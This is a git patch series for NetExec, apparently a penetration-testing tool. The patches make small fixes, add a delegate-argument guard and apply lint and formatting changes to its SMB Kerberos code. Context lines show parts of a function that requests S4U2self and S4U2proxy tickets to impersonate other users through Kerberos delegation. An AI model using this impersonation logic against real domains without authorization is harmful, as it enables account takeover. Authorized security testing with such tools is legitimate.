diff --git a/nxc/netexec.py b/nxc/netexec.py index deeda945a..e09e249e4 100755 --- a/nxc/netexec.py +++ b/nxc/netexec.py @@ -26,7 +26,7 @@ import platform # Increase file_limit to prevent error "Too many open files" -if platform != "Windows": +if platform.system() != "Windows": import resource file_limit = list(resource.getrlimit(resource.RLIMIT_NOFILE)) From ddb7cf2065ab161af971537ef90583e786a56f2e Mon Sep 17 00:00:00 2001 From: XiaoliChan <2209553467@qq.com> Date: Tue, 31 Oct 2023 21:45:12 +0800 Subject: [PATCH 25/28] [connection.py] update logger Signed-off-by: XiaoliChan <2209553467@qq.com> --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 636dd0e66..8cccd503f 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -100,7 +100,7 @@ def __init__(self, args, db, host): self.host, self.is_ipv6, self.is_link_local_ipv6 = gethost_addrinfo(self.hostname) if self.args.kerberos: self.host = self.hostname - self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={ 'True' if self.args.kerberos else 'False' }, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") + self.logger.info(f"Socket info: host={self.host}, hostname={self.hostname}, kerberos={self.kerberos}, ipv6={self.is_ipv6}, link-local ipv6={self.is_link_local_ipv6}") except Exception as e: self.logger.info(f"Error resolving hostname {self.hostname}: {e}") return From 03f3155835c7ff194c4803de88611eb2ede57d32 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 31 Oct 2023 10:24:15 -0400 Subject: [PATCH 26/28] Fix arg hasattr delegate check --- nxc/connection.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/nxc/connection.py b/nxc/connection.py index 44834d619..72cad3099 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -371,7 +371,7 @@ def try_credentials(self, domain, username, owned, secret, cred_type, data=None) if self.args.protocol == 'smb' and not self.args.local_auth and "." not in domain and not self.args.laps and secret != "" and not (self.domain.upper() == self.hostname.upper()) : self.logger.error(f"Domain {domain} for user {username.rstrip()} need to be FQDN ex:domain.local, not domain") return False - if self.args.delegate: + if hasattr(self.args, "delegate") and self.args.delegate: self.args.kerberos = True with sem: if cred_type == 'plaintext': From 47eed50292871c6f35f0905d703351d711d721e8 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 31 Oct 2023 16:48:23 -0400 Subject: [PATCH 27/28] Autoformat and fixing some line breaks --- nxc/protocols/smb/kerberos.py | 33 +++++++++++++++------------------ 1 file changed, 15 insertions(+), 18 deletions(-) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index e71338df4..9de2d2459 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -17,7 +17,8 @@ from nxc.logger import nxc_logger -def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy = False): + +def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash, aesKey, kdcHost, impersonate, spn, use_cache, no_s4u2proxy=False): my_tgt = None if use_cache: domain, _, tgt, _ = CCache.parseFile(domain, username, f"cifs/{hostname}") @@ -29,12 +30,9 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash if my_tgt is None: principal = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) nxc_logger.debug("Getting TGT for user") - tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, - lmhash, nthash, - aesKey, - kdcHost) + tgt, cipher, _, session_key = getKerberosTGT(principal, password, domain, lmhash, nthash, aesKey, kdcHost) my_tgt = decoder.decode(tgt, asn1Spec=AS_REP())[0] - decoded_tgt=my_tgt + decoded_tgt = my_tgt # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decoded_tgt["ticket"]) @@ -130,8 +128,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body["till"] = KerberosTime.to_asn1(now) req_body["nonce"] = random.getrandbits(31) - seq_set_iter(req_body, "etype", - (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) + seq_set_iter(req_body, "etype", (int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) nxc_logger.info("Requesting S4U2self") message = encoder.encode(tgs_req) @@ -155,7 +152,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - #return r, cipher, session_key, new_session_key + # return r, cipher, session_key, new_session_key tgs_formated = dict() tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher @@ -247,13 +244,13 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body["till"] = KerberosTime.to_asn1(now) req_body["nonce"] = random.getrandbits(31) seq_set_iter(req_body, "etype", - ( - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), - int(constants.EncryptionTypes.des_cbc_md5.value), - int(cipher.enctype) - ) - ) + ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) message = encoder.encode(tgs_req) nxc_logger.info("Requesting S4U2Proxy") @@ -275,9 +272,9 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - #return r, cipher, session_key, new_session_key + # return r, cipher, session_key, new_session_key tgs_formated = dict() tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher tgs_formated["sessionKey"] = new_session_key - return tgs_formated \ No newline at end of file + return tgs_formated From 2c1f30a276f792b3dc21def8fded8ec2d69cdcbd Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 1 Nov 2023 19:47:38 +0100 Subject: [PATCH 28/28] fix ruff alerts --- nxc/protocols/smb.py | 2 +- nxc/protocols/smb/kerberos.py | 14 ++++++-------- nxc/protocols/smb/proto_args.py | 6 +++--- 3 files changed, 10 insertions(+), 12 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 79178bb73..bd75796b9 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -389,7 +389,7 @@ def kerberos_login(self, domain, username, password="", ntlm_hash="", aesKey="", kerb_pass = "" self.username = self.args.delegate serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) + tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index 9de2d2459..2a567fa13 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -41,7 +41,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash ap_req["pvno"] = 5 ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() + opts = [] ap_req["ap-options"] = constants.encodeFlags(opts) seq_set(ap_req, "ticket", ticket.to_asn1) @@ -112,7 +112,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body = seq_set(tgs_req, "req-body") - opts = list() + opts = [] opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) @@ -152,8 +152,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - # return r, cipher, session_key, new_session_key - tgs_formated = dict() + tgs_formated = {} tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher tgs_formated["sessionKey"] = new_session_key @@ -174,7 +173,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash ap_req["pvno"] = 5 ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() + opts = [] ap_req["ap-options"] = constants.encodeFlags(opts) seq_set(ap_req, "ticket", ticket_tgt.to_asn1) @@ -224,7 +223,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body = seq_set(tgs_req, "req-body") - opts = list() + opts = [] # This specified we"re doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) @@ -272,8 +271,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - # return r, cipher, session_key, new_session_key - tgs_formated = dict() + tgs_formated = {} tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher tgs_formated["sessionKey"] = new_session_key diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 6cfb119ae..851484727 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -83,13 +83,13 @@ def proto_args(parser, std_parser, module_parser): def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): - x = kwargs.pop('make_required', []) - super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) + x = kwargs.pop("make_required", []) + super().__init__(option_strings, dest, **kwargs) self.make_required = x def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True - super(ConditionalAction, self).__call__(parser, namespace, values, option_string) + super().__call__(parser, namespace, values, option_string) return ConditionalAction \ No newline at end of file